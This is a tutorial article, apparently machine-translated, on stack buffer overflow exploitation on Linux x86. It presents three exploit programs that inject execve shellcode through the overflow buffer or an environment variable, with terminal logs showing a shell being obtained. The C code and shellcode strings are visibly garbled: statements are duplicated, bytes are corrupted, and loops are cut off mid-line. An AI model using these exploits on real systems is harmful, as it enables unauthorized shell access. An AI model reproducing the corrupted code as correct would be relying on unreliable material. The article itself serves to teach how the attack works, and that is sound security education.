Figure 1: Organizing shellcode on memory
The following figure shows the status of the stack before and after the buffer overflow occurs.
Figure 2: Status stack before and after buffer overflowThere is also a problem here: the alignment on the stack. The address value is 4 bytes (32 bits) long, so when it is placed on the stack, it is not always exactly as expected. In the previous section we already know that stack uses units of words with 4 bytes in length, so the deviation due to incorrect alignment will be 1, 2 or 3 bytes.
Figure 3: The ability to sort variables on the stack
Only one correct arrangement will work, others will result in a "segmentation violation" or "illegal instruction" error, but we can use the "trial and error" method to find the Arrange properly in memory is not difficult.
The most important issue is how to "anticipate" the start address of the buffer containing the shellcode inside the corrupted program. Thanks to the way to organize shellcode with the above NOPs, this address only needs to be approximate so that it falls between the NOP commands on the shellcode buffer.
A special point is that every program when executing has the same start address stack (note: on virtual address space. For example: this value on Linux is 0xbfffffff
, on FreeBSD is 0xbfbfffff
) and often programs rarely push
into the stack at a few thousand bytes at a time. Therefore, it is possible to guess the start address of the buffer containing the shellcode on the stack in the faulty program based on the deviation from the current stack top address of the exploit program. This deviation may be negative or positive (see section 1).
The following program will print the value of the SP stack pointer:
/ * sp.c * / unsigned long get_sp (void) {__asm __ ("movl% esp,% eax"); } void main() { printf("0x%xn", get_sp()); } void main () {printf ("0x% xn", get_sp ()); } [SkZ0@gamma bof]$ gcc -o sp sp.c [SkZ0@gamma bof]$ ./sp 0xbffffa50 [SkZ0@gamma bof]$ } [SkZ0 @ gamma bof] $ gcc -o sp sp.c [SkZ0 @ gamma bof] $ ./sp 0xbffffa50 [SkZ0 @ gamma bof] $
The approximate address of the shellcode containing the buffer will be determined by the formula:
SP + (-) OFFSET
We already know what is needed to exploit the buffer overflow, now need to combine. The basic steps of the buffer overflow technique are: prepare the buffer used to overflow (as in the previous section), determine the return address (RET) and the deviation due to the upcoming variable, determine the address of the buffer containing shellcode, finally calling the program execution with a buffer overflow.
There are a number of ways to organize shellcode on memory and pass the program to an error, we will first look at the most basic method: shellcode is passed through the program's buffer. This method is not the easiest way to exploit buffer overflow on local machines, but this is the most general way to exploit local and remote buffer overflow errors.
In the above example, shellcode will be organized and transmitted via the buf
buffer of the program vuln1.c
Our following buffer overflow program will receive 3 parameter values: the program name is corrupted, the buffer size used to overflow and the displacement value compared to the current stack pointer (for example guess the buffercode containing shellcode).
/ * exploit1.c * / #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 // asm of the NOP command char shellcode [] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50" "x53x89xe1x89xc2xb0x0bxcdx80x31xb0x0xxxxxxxxxxxxxxxxxxx0x0xxxxxxxx0x40x6x"; unsigned long get_sp (void) {__asm __ ("movl% esp,% eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; } void main (int argc, char * argv []) {char * buff, * ptr; long *addr_ptr, addr; long * addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE; int i; int i; if (argc < 2) { printf("Usage: %s target [bsize offset]n", argv[0]); if (argc <2) {printf ("Usage:% s target [bsize offset] n", argv [0]); exit(0); exit (0); } if (argc > 2) bsize = atoi(argv[2]); } if (argc> 2) bsize = atoi (argv [2]); if (argc> 3) offset = atoi (argv [3]); if (! (buff = malloc (bsize))) {printf ("Can't allocate memory.n"); exit(0); exit (0); } addr = get_sp() - offset; } addr = get_sp () - offset; printf ("Using address: 0x% xn", addr); ptr = buff; / * fill buffer overflow with addresses of shellcode * / addr_ptr = (long *) ptr; for (i = 0; iThe above program allocates the buffer used to overflow on the heap, why would it be for the reader to respond on their own.
The size of the buffer used to overflow is larger than the buffer overflowed by about 100 bytes. Then the overflow buffer has a fairly large header containing NOPs, the end contains shellcode and the address is enough to overflow and override the return address value (RET).
Try the newly written error extraction program.
[SkZ0 @ gamma bof] $ ./exploit1 ./vuln1 600 Using address: 0xbffffa1c (.) bash $Try with displacement value:
[SkZ0 @ gamma bof] $ ./exploit1 ./vuln1 600 100 Using address: 0xbffff9a8 (.) [SkZ0 @ gamma bof] $ ./exploit1 ./vuln1 600 -100 Using address: 0xbffffa70 (.) bash $5.2. Transfer shellcode via environment variable
Now, let's go back to the first example, program
vuln.c
(see section 1). It can be seen that theexploit1.c
program cannot exploit the buffer overflow invuln.c
because the overflow buffer size is too small (16 bytes) not enough to fit shellcode. Then the return address will be overwritten by the code instead of the address value to jump to. To overcome this obstacle, we will use another "buffer" to store shellcode. It is usually possible to use environment variables or a program command line parameter (arguments) to contain shellcode because these variables are all on the stack, but using environment variables is a simple and effective method. than. With shellcode contained in the environment variable, the buffer used to overflow simply contains the full (guessed) address value of the environment variable containing shellcode.The
exploit1.c
program was modified as follows (adding a parameter that is the size of the shellcode buffer)./ * Exploit2.c * / #include #define #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 DEFAULT_EGG_SIZE 2048 asm code // char shellcode of NOP command [] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50" "x53x89xe1x89xc2xb0x0bxcdx80x31xbx31xc0x40xcdx80"; unsigned long get_esp (void) {__asm __ ("movl% esp,% eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; } void main (int argc, char * argv []) {char * buff, * ptr, * egg; long *addr_ptr, addr; long * addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; int i, eggsize = DEFAULT_EGG_SIZE; if (argc < 2) { printf("Usage: %s target [bsize offset eggsize]n", argv[0]); if (argc <2) {printf ("Usage:% s target [bsize offset eggsize] n", argv [0]); exit(0); exit (0); } if (argc > 2) bsize = atoi(argv[2]); } if (argc> 2) bsize = atoi (argv [2]); if (argc> 3) offset = atoi (argv [3]); if (argc> 4) eggsize = atoi (argv [4]); if (! (buff = malloc (bsize))) {printf ("Can't allocate memory.n"); exit(0); exit (0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.n"); } if (! (egg = malloc (eggsize))) {printf ("Can't allocate memory.n"); exit(0); exit (0); } addr = get_esp() - offset; } addr = get_esp () - offset; printf ("Using address: 0x% xn", addr); / * buffer spills only contain shellcode * / ptr = buff addresses; addr_ptr = (long *) ptr; for (i = 0; iTry the new exploit program:
[SkZ0 @ gamma bof] $ ./exploit2 ./vulnUsing address: 0xbffffa18 (.) bash $You can see how to use environment variables quite effectively. The following method ( only for Linux x86 ) uses the environment variable to contain shellcode but identifies the exact address of this environment variable. Therefore, we do not need to fill NOPs at the beginning of the buffercode containing shellcode, as well as the correctly defined shellcode address instead of having to guess.
The highest part of the address (equivalent to the bottom of the stack) of an ELF, Linux x86 program file is of the form:
Figure 4: Linux stack architecture at x86We see, the last environment variable address is calculated by the following formula:
envpn = 0xBFFFFFFF - 4 - // 4 NULL bytes strlen (program_name) - // program name string length 1 - // null value of strlen program name string (envp [n]) // length of variable the final or shortened environment: envpn = 0xBFFFFFFA - strlen (prog_name) - strlen (envp [n])Calling functions that execute programs like
execle
andexecve
allow the passing of an environment variable pointer to the called program. Taking advantage of this we can direct the buffer containing shellcode for the program to crash through the environment variable pointer, and calculate its address correctly.The formula for shellcode's address:
addr = 0xBFFFFFFA - strlen (prog_name) - strlen (shellcode);The new error extraction program is written as follows:
/ * exploit3.c * / #include #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 // asm code of the NOP command char shellcode [] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50" "x53x89xe1x89xc2xb0x0bxcdx80x31xb0x0bxcdx80x31xb0x0bxcdx80x31xb0x0xxxxxxxxxxxxxxxxxxx0x40x6xxxx0x40xcdx"; "; void main (int argc, char * argv []) {char * buff, * ptr, * egg; long *addr_ptr, addr; long * addr_ptr, addr; int bsize=DEFAULT_BUFFER_SIZE; int bsize = DEFAULT_BUFFER_SIZE; int i; int i; char *env[2] = {shellcode, NULL}; char * env [2] = {shellcode, NULL}; if (argc <2) {printf ("Usage:% s target [bsize] n", argv [0]); exit(0); exit (0); } if (argc > 2) bsize = atoi(argv[2]); } if (argc> 2) bsize = atoi (argv [2]); if (! (buff = malloc (bsize))) {printf ("Can't allocate memory.n"); exit(0); exit (0); } addr = 0xbffffffa - strlen(shellcode) - strlen(argv[1]); } addr = 0xbffffffa - strlen (shellcode) - strlen (argv [1]); printf ("Using address: 0x% xn", addr); / * buffer spills only contain shellcode * / ptr = buff addresses; addr_ptr = (long *) ptr; for (i = 0; iIn the above program, we passed the faulty program pointer to the environment only with a single variable that contains the shellcode, so the length of the environment variable is the length of shellcode. Try this new exploit program:
[SkZ0 @ gamma bof] $ ./exploit3 ./vulnUsing address: 0xbfffffd4 (.) bash $6. Conclusion
Hopefully, what you have presented can help you understand the causes and consequences of the buffer overflow. The technique of exploiting buffer overflows is absolutely not difficult when there is a very clear theoretical basis, although it requires a little knowledge of programming languages. Avoiding buffer errors can also be achieved without difficulty, which is to implement the principle of creating safe programs right from the design.
References:
- Smashing The Stack For Fun And Profit - Aleph1
- Avoiding security holes when developing an application - Frédéric Raynal, Christophe Blaess, Christophe Grenier
- BUFFER OVERFLOWS DEMYSTIFIED - Murat Balaban
- Đang ghi bộ đệm trên sự phục dụng - một giao thức cho bắt đầu - Mixter
Link
- http://www.phrack.org
- http://community.core-sdi.com/~juliano/
Previous article: Techniques for exploiting buffer overflows: Organizing memory, stack, calling functions, shellcode
3.8 ★ | 10 VoteYou should read it
- Techniques to exploit buffer overflows: Organize memory, stack, call functions, shellcode
- Error due to buffer overflow and how to fix it
- Stack Overflow hits the hacker face, no significant damage is recorded
- Overflow in CSS
- Concept of Buffer in Node.js
- How to fix table errors in Word overflow
- How to fix text overflow in Google Sheets
- The Linux machine can be remotely hacked with a poisoned DNS response
- NVIDIA Jetson chipset contains a series of security holes that allow data theft, DDoS attacks
- Types of data hiding in Excel - Part 2: How to hide cells, overflow text
- Some properties to handle Text in CSS
- Computer says waiting for buffer memory, how to fix it?
Maybe you are interested